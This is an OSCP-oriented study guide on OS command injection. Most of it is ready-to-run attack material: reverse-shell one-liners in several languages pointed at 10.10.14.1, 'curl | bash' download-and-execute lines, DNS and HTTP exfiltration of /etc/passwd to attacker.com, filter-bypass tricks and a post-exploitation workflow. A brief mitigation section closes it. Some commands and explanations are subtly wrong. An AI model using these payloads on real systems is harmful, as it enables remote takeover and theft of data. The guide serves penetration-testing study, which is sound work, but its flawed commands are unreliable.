Command Injection — Deep-Dive Study Guide
1. What Is Command Injection?
Command injection (also called OS command injection or shell injection) occurs when a web application passes unsanitized user-supplied input directly to an operating system shell. The shell interprets the injected input as commands, granting the attacker arbitrary command execution on the underlying server — effectively Remote Code Execution (RCE).
Command injection is classified under OWASP A03:2021 Injection and is one of the most critical web vulnerabilities because it can lead to full server compromise, lateral movement, and complete environment takeover.
Why It Happens
Developers sometimes need to invoke OS-level functionality from application code — for example, running a ping utility, processing an image with ImageMagick, or executing a system diagnostic. When user input is concatenated into the command string without validation or escaping, the boundary between “data” and “code” blurs, and the attacker gains a shell.
Vulnerable Code Patterns
PHP — system():
<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>
An attacker supplies ip=8.8.8.8; cat /etc/passwd and the server executes both commands.
PHP — exec():
<?php
$domain = $_GET['domain'];
exec("nslookup " . $domain, $output);
print_r($output);
?>
Python — os.system():
import os
user_input = request.args.get('filename')
os.system(f"cat {user_input}")
Python — subprocess with shell=True:
import subprocess
hostname = request.args.get('host')
subprocess.call(f"ping {hostname}", shell=True)
Java — Runtime.exec():
String cmd = "nslookup " + request.getParameter("domain");
Runtime.getRuntime().exec(cmd);
Bash Script:
#!/bin/bash
TARGET=$1
nmap $TARGET
Safe vs. Unsafe Functions
| Language | Unsafe (invokes shell) | Safe (no shell) |
|---|---|---|
| PHP | system(), exec(), passthru(), shell_exec(), `backticks` |
escapeshellarg(), escapeshellcmd() |
| Python | os.system(), subprocess.call(..., shell=True) |
subprocess.call(["cmd", "arg"]) (list form) |
| Java | Runtime.getRuntime().exec(String) |
Runtime.getRuntime().exec(String[]) |
| Node.js | child_process.exec() |
child_process.spawn() |
| Ruby | `backticks`, system(), %x[] |
Open3.capture3(cmd, *args) |
2. Command Separators and Operators — Complete Catalog
Understanding shell operators is the foundation of command injection. Each operator behaves differently depending on the shell (bash, sh, cmd.exe, PowerShell) and the context in which it is used.
Linux / Bash Operators
| Operator | Name | Behavior | Example |
|---|---|---|---|
; |
Command separator | Execute next command regardless of first command’s result | ; cat /etc/passwd |
| |
Pipe | Feed stdout of first command as stdin to second | | grep root |
|| |
OR | Execute second command only if first fails (exit code != 0) | || id |
&& |
AND | Execute second command only if first succeeds (exit code == 0) | && id |
`...` |
Backtick substitution | Execute inner command, substitute its output | `whoami` |
$() |
Command substitution (modern) | Same as backticks but nestable and more readable | $(whoami) |
& |
Background | Run command in background, return to shell immediately | & id |
>> |
Append redirect | Append output to a file | >> /tmp/evil |
> |
Overwrite redirect | Overwrite file with output | > /tmp/evil |
< |
Input redirect | Read input from a file | < /etc/passwd |
{...} |
Command grouping | Group commands; note: spaces required | {id,whoami} |
Windows / cmd.exe Operators
| Operator | Name | Behavior | Example |
|---|---|---|---|
& |
Command separator | Execute next command regardless of result | & whoami |
&& |
AND | Execute second only if first succeeds | && whoami |
|| |
OR | Execute second only if first fails | || whoami |
| |
Pipe | Feed stdout to stdin | | findstr "admin" |
%...% |
Variable expansion | Reference environment variables | %USERNAME% |
Windows / PowerShell Operators
| Operator | Name | Behavior |
|---|---|---|
; |
Statement separator | Separate statements on one line |
| |
Pipe | Pass objects down pipeline |
&& |
AND (PS 7+) | Execute if previous succeeds |
|| |
OR (PS 7+) | Execute if previous fails |
$() |
Subexpression | Execute and substitute |
Choosing the Right Operator
The correct operator depends on how the application constructs the command:
# If the app does: ping <input>
# Then: ping 8.8.8.8; cat /etc/passwd → works (;)
# But: ping 8.8.8.8 | cat /etc/passwd → pipes ping output to cat (wrong)
# If the app does: grep <input> /etc/passwd
# Then: grep root | cat → pipes grep output to cat
# But: grep root; cat /etc/passwd → runs cat independently
OSCP Tip: Start with ; as your first test — it is the most universally reliable separator. If that fails, try back-to-back: |, &&, ||, and ` / $().
3. Reconnaissance Payloads
Once you confirm injection is possible, gather intelligence about the target environment.
Linux Reconnaissance
# Identity
; whoami
; id
; id -a
# OS and kernel
; uname -a
; cat /etc/os-release
; cat /etc/issue
# Current directory and working context
; pwd
; ls -la
; ls -la /tmp
# Network interfaces and IP addresses
; ifconfig
; ip addr show
; ip a
# Listening ports and connections
; netstat -antp
; ss -antp
# Running processes
; ps aux
; ps -ef
# Environment variables (may contain credentials)
; env
; printenv
# Crontabs (scheduled tasks)
; crontab -l
; cat /etc/crontab
# SUID binaries (privilege escalation)
; find / -perm -4000 2>/dev/null
; find / -perm -u=s -type f 2>/dev/null
# Installed tools
; which python python3 perl php ruby nc ncat wget curl
; python3 --version
# Disk and mount info
; df -h
; mount
# User enumeration
; cat /etc/passwd
; getent passwd
# Check for Docker
; cat /proc/1/cgroup
; docker ps 2>/dev/null
Windows Reconnaissance
# Identity
& whoami
& whoami /all
& whoami /priv
# System info
& systeminfo
& ver
# Network
& ipconfig /all
& netstat -an
& route print
# Users and groups
& net user
& net localgroup administrators
# Processes
& tasklist /V
# Environment
& set
# Drive and directory listing
& dir C:\
& dir C:\Users\ /s /b
# Scheduled tasks
& schtasks /query /fo LIST /v
# PowerShell (if available)
& powershell "Get-Process"
& powershell "Get-NetIPAddress"
4. Reverse Shell Payloads
A reverse shell is the most impactful exploitation technique — the target machine initiates a connection back to your attacker machine, giving you an interactive shell.
Setup
On your attacker machine (Kali Linux), start a listener:
# Using nc
nc -lvnp 4443
# Using nc with -e (if available)
nc -lvnp 4443 -e /bin/bash
# Using socat (more reliable)
socat TCP-LISTEN:4443,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Bash Reverse Shell
; bash -i >& /dev/tcp/10.10.14.1/4443 0>&1
Breakdown:
bash -i— interactive bash shell>& /dev/tcp/ATTACKER_IP/PORT— redirect stdout and stderr to the TCP connection (bash built-in)0>&1— redirect stdin (file descriptor 0) to the same connection
Python Reverse Shell
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python 3 variant (one-liner):
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4443));[os.dup2(s.fileno(),f)for f in(0,1,2)];subprocess.call(["/bin/sh","-i"])'
Perl Reverse Shell
; perl -e 'use Socket;$i="10.10.14.1";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Netcat Reverse Shell
# Classic (with -e flag — GNU netcat)
; nc -e /bin/sh 10.10.14.1 4443
; nc -e /bin/bash 10.10.14.1 4443
# OpenBSD netcat (no -e flag — use redirection)
; nc 10.10.14.1 4443 | /bin/bash | nc 10.10.14.1 4444
# Using -c flag (some versions)
; nc -c /bin/sh 10.10.14.1 4443
PHP Reverse Shell
; php -r '$sock=fsockopen("10.10.14.1",4443);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby Reverse Shell
; ruby -rsocket -e 'f=TCPSocket.open("10.10.14.1",4443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PowerShell Reverse Shell (Windows)
& powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('10.10.14.1',4443);$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$r = (iex $d 2>&1 | Out-String );$r += 'PS ' + (pwd).Path + '> ';$s.Write([text.encoding]::ASCII.GetBytes($r),0,$r.Length)};$c.Close()"
Download-and-Execute Technique
When the target has curl or wget, download a reverse shell script and execute it:
# Upload reverse shell to your web server, then:
; curl http://10.10.14.1:8080/shell.sh | bash
; wget -qO- http://10.10.14.1:8080/shell.sh | bash
# Or download and execute directly:
; curl http://10.10.14.1:8080/reverse.py -o /tmp/r.py; python3 /tmp/r.py
Reverse Shell Cheat Sheet by Language Availability
| Available on Target | Payload |
|---|---|
| bash | bash -i >& /dev/tcp/IP/PORT 0>&1 |
| python | python -c 'import socket,subprocess,os;...' |
| python3 | Same as python, use python3 |
| perl | perl -e 'use Socket;...' |
| php | php -r '$sock=fsockopen(...);...' |
| ruby | ruby -rsocket -e '...' |
| nc (GNU) | nc -e /bin/sh IP PORT |
| nc (OpenBSD) | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f |
| powershell | See PowerShell payload above |
| xterm | xterm -display 10.10.14.1:1 (after xterm -listen on attacker) |
5. Blind Command Injection
In blind command injection, the application does not return the output of the injected command in the HTTP response. You must use indirect techniques to confirm injection and extract data.
Time-Based Detection
The simplest blind technique — inject a delay and measure response time:
# Basic delay test
; sleep 10
| sleep 10
$(sleep 10)
# Conditional delay (confirms logic)
; [ 1 -eq 1 ] && sleep 10
; [ 1 -eq 2 ] && sleep 10 # Should NOT delay
# Windows
& ping -n 10 127.0.0.1
& timeout /t 10
Workflow:
- Send normal request — note response time (e.g., 0.5s)
- Send request with
; sleep 10— note response time (e.g., 10.5s) - If delay is observed, blind injection is confirmed
- Use conditional delays for boolean-based data extraction
Boolean-Based Data Extraction
Extract data one bit or character at a time using conditional delays:
# Check if first character of /etc/passwd is 'r'
; [ $(head -c 1 /etc/passwd) = r ] && sleep 5
# Check if user is root
; [ $(whoami) = root ] && sleep 5
# Binary search for character value
; [ $(head -c 1 /etc/passwd) \> m ] && sleep 5
DNS Exfiltration
DNS queries are often the only outbound traffic allowed from restricted networks. Use DNS to exfiltrate data:
# Basic DNS exfiltration
; nslookup $(whoami).attacker.com
; nslookup $(cat /etc/passwd | head -1).attacker.com
# Using host command
; host $(whoami).attacker.com
# Using ping (generates DNS lookup)
; ping -c 1 $(whoami).attacker.com
# Line-by-line exfiltration
; for i in $(cat /etc/passwd); do nslookup $i.attacker.com; done
On your attacker machine, monitor DNS queries:
# Using dnsspoof
dnsspoof -i eth0
# Using named (bind) with query logging
# Check /var/log/named/querylog
# Using a simple Python DNS server
python3 -c "import dns.server; ..."
HTTP Out-of-Band (OAST)
If the target can make outbound HTTP requests, use this to confirm injection and exfiltrate data:
# Using curl
; curl http://10.10.14.1:8080/$(whoami)
; curl http://10.10.14.1:8080/$(cat /etc/passwd | base64)
# Using wget
; wget -q http://10.10.14.1:8080/$(whoami) -O /dev/null
# Using Python
; python -c 'import urllib2;urllib2.urlopen("http://10.10.14.1/$(whoami)")'
# Using certutil (Windows)
& certutil -urlcache -f http://10.10.14.1/$(whoami)
On your attacker machine, start a simple HTTP server to receive requests:
# Simple Python HTTP server
python3 -m http.server 8080
# Or use a tool like Burp Collaborator, Interactsh, or DNSLog
Interactsh / Burp Collaborator
For professional OAST testing, use dedicated tools:
# Interactsh (open source)
interactsh-client
# Use the provided callback URL in your payload:
; curl http://a1b2c3d4e5.interactsh.com
6. Filter Bypass Techniques
Applications often implement input filters to block command injection. Here is a comprehensive catalog of bypass techniques.
Space Filtering Bypasses
When spaces are blocked or filtered:
# IFS (Internal Field Separator) variable
cat${IFS}/etc/passwd
ls${IFS}-la${IFS}/tmp
# Curly braces — ${ } acts as space in some contexts
{cat,/etc/passwd}
# Tab character (%09 in URL encoding)
cat%09/etc/passwd
# Wildcard
cat /etc/pass*
ls -l /tmp/*
# $() wrapping absorbs leading/trailing spaces
$(cat /etc/passwd)
Slash (/) Filtering Bypasses
# Environment variable substitution
cat$PATHetc/passwd # If PATH contains /
cat${HOME}/../etc/passwd # Navigate from home directory
# Variable construction
x=/; $x etc/passwd
# Hex encoding in some contexts
printf '\x2f' # Produces /
# Base64 decode
echo L2V0Yy9wYXNzd2Q= | base64 -d # Decodes to /etc/passwd
Character and Keyword Filtering
# Case variation (works on case-insensitive systems)
CaT /etc/passwd
cAt /etc/passwd
# Wildcard substitution
cat /etc/p?s?w?
cat /etc/p*a*
# Variable-based command construction
cmd=c"at"; $cmd /etc/passwd
a=cat; b=/etc/passwd; $a $b
# Environment variable trick ($9 is always empty in bash)
cat$9/etc/passwd
# Backslash escaping
ca\t /etc/passwd
Length Restrictions
# Use shorter aliases
w # instead of whoami (if aliased)
l # instead of ls (if aliased)
# Use alternative commands
getent passwd # instead of cat /etc/passwd
env # instead of printenv
tty # quick check
# Truncated commands (tab completion)
# In some contexts, partial commands work
Alternative Commands
When common commands are blocked, use alternatives:
| Blocked Command | Alternative |
|---|---|
cat |
less, more, head, tail, nl, sort, uniq, strings, od, xxd, base64, getent |
wget |
curl, python -c 'import urllib...', certutil (Windows) |
nc |
bash /dev/tcp, python socket, perl Socket, socat, ncat |
python |
python3, python2, py |
perl |
perl5, perl6 |
id |
whoami, id -un, grep $(whoami) /etc/passwd |
ls |
find . -maxdepth 1, echo *, compgen |
Encoding-Based Bypasses
# URL encoding (double encoding for double-decode vulns)
%3B for ;
%7C for |
%26%26 for &&
%24%28 for $(
# Hex encoding
\x3b for ;
\x7c for |
# Octal encoding
\073 for ;
\174 for |
# Base64 encoding
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
# Command via variable
X=$(echo Y2F0 | base64 -d); $X /etc/passwd
Line Break and Newline Injection
# Newline character
%0a for newline
%0d%0a for CRLF
# Example:
ping 8.8.8.8%0acat /etc/passwd
IFS Manipulation Deep Dive
The IFS (Internal Field Separator) is a special bash variable that defines word boundaries. By default, it contains space, tab, and newline. You can exploit this:
# Set IFS to nothing, then use it
IFS=$'\x20'; cat /etc/passwd
# Use ${IFS} inline (most common bypass)
cat${IFS}/etc/passwd${IFS}
# Combine with other techniques
export IFS=' ';cat /etc/passwd
7. Server-Side Code Injection vs OS Command Injection
It is critical to distinguish between these two vulnerability classes:
OS Command Injection
- Target: Operating system shell
- Mechanism: User input passed to
system(),exec(),Runtime.exec(), etc. - Payload: OS commands (
ls,whoami,cat) - Impact: Full OS-level command execution
- Example:
system("ping " . $_GET['ip'])→; cat /etc/passwd
Server-Side Code Injection
- Target: Application-level interpreter (PHP, Python, JavaScript, etc.)
- Mechanism: User input passed to
eval(),exec(),assert(),compile() - Payload: Language-specific code
- Impact: Application-level code execution (can escalate to OS commands)
- Example:
eval($_GET['code'])→phpinfo()
Code Injection Payloads by Language
PHP Code Injection:
// Via eval()
phpinfo()
system('id')
file_get_contents('/etc/passwd')
shell_exec('whoami')
Python Code Injection:
# Via eval() or exec()
__import__('os').system('id')
__import__('subprocess').check_output('whoami')
open('/etc/passwd').read()
JavaScript (Node.js) Code Injection:
// Via eval()
require('child_process').execSync('id').toString()
require('fs').readFileSync('/etc/passwd').toString()
Java Expression Language (EL) Injection:
${"${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("id")}"}
Key Differences Summary
| Aspect | OS Command Injection | Server-Side Code Injection |
|---|---|---|
| Interpreter | OS shell (bash, cmd.exe) | Application language (PHP, Python, JS) |
| Payload Syntax | OS commands | Language-specific code |
| Detection | Shell operators (;, ` |
`) |
| Escalation Path | Direct OS access | May need to call OS functions |
| Common Functions | system(), exec() |
eval(), assert(), compile() |
8. Complete Exploitation Workflow
Follow this structured approach during OSCP exams:
Phase 1: Detection
Step 1: Identify input parameters (GET, POST, headers, cookies)
Step 2: Test each parameter with basic injection markers
Step 3: Observe response for command output, errors, or timing changes
Initial test payloads (try in order):
; id
| id
&& id
|| id
$(id)
`id`
; sleep 5 (for blind testing)
Phase 2: Confirmation
Step 4: Confirm injection by checking for expected output
Step 5: Determine the shell type (bash, sh, cmd.exe, PowerShell)
Step 6: Determine if output is visible or blind
Shell detection payloads:
# Linux detection
; uname -a
; cat /etc/os-release
; echo $SHELL
# Windows detection
& ver
& echo %OS%
& powershell $PSVersionTable.PSVersion
Phase 3: Reconnaissance
Step 7: Gather user identity, OS info, network config
Step 8: Enumerate installed tools and services
Step 9: Check for privilege escalation opportunities
Phase 4: Exploitation
Step 10: Attempt reverse shell
Step 11: If reverse shell fails, try download-and-execute
Step 12: If outbound blocked, try blind techniques (DNS, HTTP OAST)
Phase 5: Post-Exploitation
Step 13: Stabilize shell (Python pty, script tty)
Step 14: Enumerate the system thoroughly
Step 15: Look for credentials, configs, and escalation paths
Step 16: Pivot to internal network if applicable
Shell Stabilization
Raw reverse shells are often unstable. Upgrade to a proper TTY:
# Method 1: Python pty
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Method 2: script
script -qc /bin/bash /dev/null
# Method 3: Perl
perl -e 'exec "/bin/bash";'
# After getting pty, press Ctrl+Z to background, then:
stty raw -echo
fg
# Then inside the shell:
export TERM=xterm
export SHELL=/bin/bash
9. OSCP Exam Patterns and Common Scenarios
Scenario 1: Ping Tool Injection (Most Common)
A web application has a “network diagnostics” or “ping” feature. The IP address parameter is passed directly to a system command.
GET /ping?ip=8.8.8.8 HTTP/1.1
Exploitation:
/ping?ip=8.8.8.8;id
/ping?ip=8.8.8.8;cat /etc/passwd
/ping?ip=;bash -i >& /dev/tcp/10.10.14.1/4443 0>&1
Scenario 2: DNS Lookup Tool
A “DNS checker” or “domain lookup” feature passes user input to nslookup or dig.
POST /dns-lookup
domain=example.com
Exploitation:
domain=example.com;whoami
domain=;id
Scenario 3: File Upload with Processing
An image upload feature uses ImageMagick (convert, identify) to process uploaded files. Crafted image metadata can trigger command injection (related to “ImageTragick”).
Exploitation:
# Craft a PNG with malicious metadata:
# In the tEXt chunk, add:
payload = '!payload command="id" output="result.txt"'
Scenario 4: Server Status / System Info Page
A server monitoring page executes system commands to display CPU, memory, or disk usage.
GET /server-status?command=cpu
Exploitation:
/server-status?command=cpu;cat /etc/shadow
Scenario 5: API Endpoint with System Calls
REST API endpoints that perform system-level operations (restart services, check disk space, run diagnostics).
POST /api/diagnostics
{"action": "check_disk", "path": "/var"}
Exploitation:
{"action": "check_disk", "path": "/var;cat /etc/passwd"}
Scenario 6: Blind Injection in Error Logging
The application logs user input using a system command, but does not return output. Use time-based or DNS-based techniques.
POST /feedback
message=test;sleep 10
OSCP-Specific Tips
- Always try
;first — it works in the majority of OSCP machines. - If
;is filtered, try$()— command substitution often works when separators are blocked. - Use
ncfor reverse shells — it is almost always available on OSCP Linux targets. - For Windows targets, try PowerShell reverse shells and
certutilfor downloads. - Check for
python/python3— the Python reverse shell is reliable and widely available. - If all operators are blocked, try backtick substitution or stacked commands within
$(). - Document everything — OSCP requires detailed reporting of your exploitation steps.
- When in doubt, try blind techniques — many OSCP machines have blind injection that requires time-based or DNS confirmation.
Common OSCP Machines with Command Injection
| Machine | Injection Point | Technique |
|---|---|---|
| Hackable | Web form input | Direct OS command injection |
| Wonderland | API parameter | Command injection via $() |
| ResidentBob | Web application | Blind command injection |
| Hospital | Web form | OS command injection with filter bypass |
| Shtshell | Web interface | Command injection leading to reverse shell |
10. Mitigation and Defense
Code-Level Defenses
| Strategy | Implementation | Example |
|---|---|---|
| Avoid shell commands | Use language-native alternatives | os.path.exists() instead of system("test -e ...") |
| Input validation | Strict whitelist of allowed characters | Only allow [a-zA-Z0-9.] for IP addresses |
| Parameterized APIs | Use APIs that do not invoke a shell | subprocess.call(["ping", ip]) not subprocess.call("ping " + ip, shell=True) |
| Escape input | Escape all shell metacharacters | PHP: escapeshellarg(), Python: shlex.quote() |
| Least privilege | Run application with minimal permissions | Use a dedicated low-privilege user |
| Sandbox/Chroot | Isolate command execution | Run in container or chroot jail |
PHP Safe Code Example
<?php
// UNSAFE
system("ping -c 4 " . $_GET['ip']);
// SAFE — escapeshellarg wraps input in quotes and escapes
$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $ip);
// SAFER — use PHP native function
$ip = $_GET['ip'];
if (filter_var($ip, FILTER_VALIDATE_IP)) {
$result = ping($ip); // Custom function using native PHP
}
?>
Python Safe Code Example
import subprocess
import shlex
# UNSAFE
os.system(f"ping {user_input}")
# SAFE — list form, no shell
subprocess.call(["ping", "-c", "4", user_input])
# SAFE — with validation
import ipaddress
try:
ipaddress.ip_address(user_input)
subprocess.call(["ping", "-c", "4", user_input])
except ValueError:
raise ValueError("Invalid IP address")
11. Quick Reference Card
Detection Payloads (Try in Order)
; id → Most reliable
| id → If pipe context
&& id → If AND context
|| id → If OR context
$(id) → If substitution context
`id` → If backtick context
; sleep 5 → Blind detection
Reverse Shell Priority (OSCP)
1. bash -i >& /dev/tcp/IP/PORT 0>&1
2. nc -e /bin/sh IP PORT
3. python -c 'import socket,subprocess,os;...'
4. perl -e 'use Socket;...'
5. php -r '$sock=fsockopen(...);...'
Filter Bypass Priority
1. ${IFS} for spaces
2. $() instead of backticks
3. && or || instead of ;
4. Alternative commands (getent, less, head)
5. Variable construction (a=cat; $a /etc/passwd)
6. Encoding (URL, hex, base64)
Blind Injection Priority
1. Time-based: ; sleep 10
2. DNS exfiltration: ; nslookup $(whoami).attacker.com
3. HTTP OAST: ; curl http://attacker.com/$(whoami)
4. Boolean-based: ; [ condition ] && sleep 5
12. Summary
Command injection is one of the highest-impact web vulnerabilities and a frequent OSCP exam topic. Master the following core competencies:
- Detection — Know all shell operators and test systematically with
;,|,&&,||,$(), and backticks. - Reconnaissance — Have a mental checklist of Linux and Windows enumeration commands ready.
- Reverse shells — Memorize at least the bash, Python, and netcat payloads. Know how to stabilize a shell.
- Blind injection — Be comfortable with time-based, DNS, and HTTP OAST techniques.
- Filter bypasses — Know IFS substitution, variable construction, encoding tricks, and alternative commands.
- Workflow discipline — Follow the detection → confirmation → recon → exploitation → post-exploitation flow.
The difference between a passing and failing OSCP exam often comes down to methodical testing and persistence with command injection — many machines have this vulnerability hiding in plain sight.